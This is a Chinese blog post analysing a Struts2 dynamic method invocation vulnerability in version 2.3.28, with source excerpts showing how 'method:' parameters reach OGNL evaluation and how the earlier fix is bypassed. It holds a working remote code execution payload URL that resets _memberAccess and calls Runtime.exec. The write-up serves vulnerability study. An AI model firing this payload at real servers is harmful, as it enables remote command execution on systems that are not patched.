前言

经典 Java 软件漏洞 struts 系列,准备一个个看过去。


环境搭建

2.3.28 版本的 struts2 + Tomcat 9。

修改 struts.xml,打开动态方法调用:

<constant name="struts.enable.DynamicMethodInvocation" value="true" />

漏洞分析

根据官方通告,可以看出漏洞原因是在动态方法调用开启的情况下,会将 method: 前缀的参数作为表达式来执行,我们先看看 method: 前缀参数的 put 方法:

put(METHOD_PREFIX, new ParameterAction() {
    public void execute(String key, ActionMapping mapping) {
        if (allowDynamicMethodCalls) {
            mapping.setMethod(key.substring(METHOD_PREFIX.length()));
        }
    }
});

在 DynamicMethodInvocation 开启的情况下,会不经过滤将 method: 前缀参数放入 mapping 中。在 Dispatcher 类的 serviceAction 函数用其创建代理之后,会执行到 DefaultActionInvocation 类的 invokeAction 函数中:

protected String invokeAction(Object action, ActionConfig actionConfig) throws Exception {
    String methodName = proxy.getMethod();

    if (LOG.isDebugEnabled()) {
        LOG.debug("Executing action method = #0", methodName);
    }

    String timerKey = "invokeAction: " + proxy.getActionName();
    try {
        UtilTimerStack.push(timerKey);

        Object methodResult;
        try {
            methodResult = ognlUtil.getValue(methodName + "()", getStack().getContext(), action);
        } 
        ...
    }
    ...
}

将参数值作为表达式解析。

漏洞利用

因为 2.3.20 版本的修复中禁止了 new 和反射,所以通过修改用于安全检测的 _memberAccess 属性,将之变为实现了 memberAccess 接口的另一个类 DefaultMemberAccess,它的 isAccessible 函数如下:

public boolean isAccessible(Map context, Object target, Member member, String propertyName)
{
    int         modifiers = member.getModifiers();
    boolean     result = Modifier.isPublic(modifiers);

    if (!result) {
        if (Modifier.isPrivate(modifiers)) {
            result = getAllowPrivateAccess();
        } else {
            if (Modifier.isProtected(modifiers)) {
                result = getAllowProtectedAccess();
            } else {
                result = getAllowPackageProtectedAccess();
            }
        }
    }
    return result;
}

可以看到,对 public 函数调用没有任何限制,而 OgnlContext 中恰好有这么一个静态属性:

public static final MemberAccess DEFAULT_MEMBER_ACCESS = new DefaultMemberAccess(false);

payload 如下:

http://localhost:8080/login.action?method:(%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,@java.lang.Runtime@getRuntime().exec(%23parameters.c%5b0%5d)).toString&c=calc

漏洞修复

给 method: 前缀的参数值加上了前面 actionName 的过滤。


参考文章:

https://www.cnblogs.com/mrchang/p/6501428.html


Web Java Struts2

本博客所有文章除特别声明外,均采用 CC BY-SA 3.0协议 。转载请注明出处!

struts2系列漏洞 S2-037
struts2系列漏洞 S2-031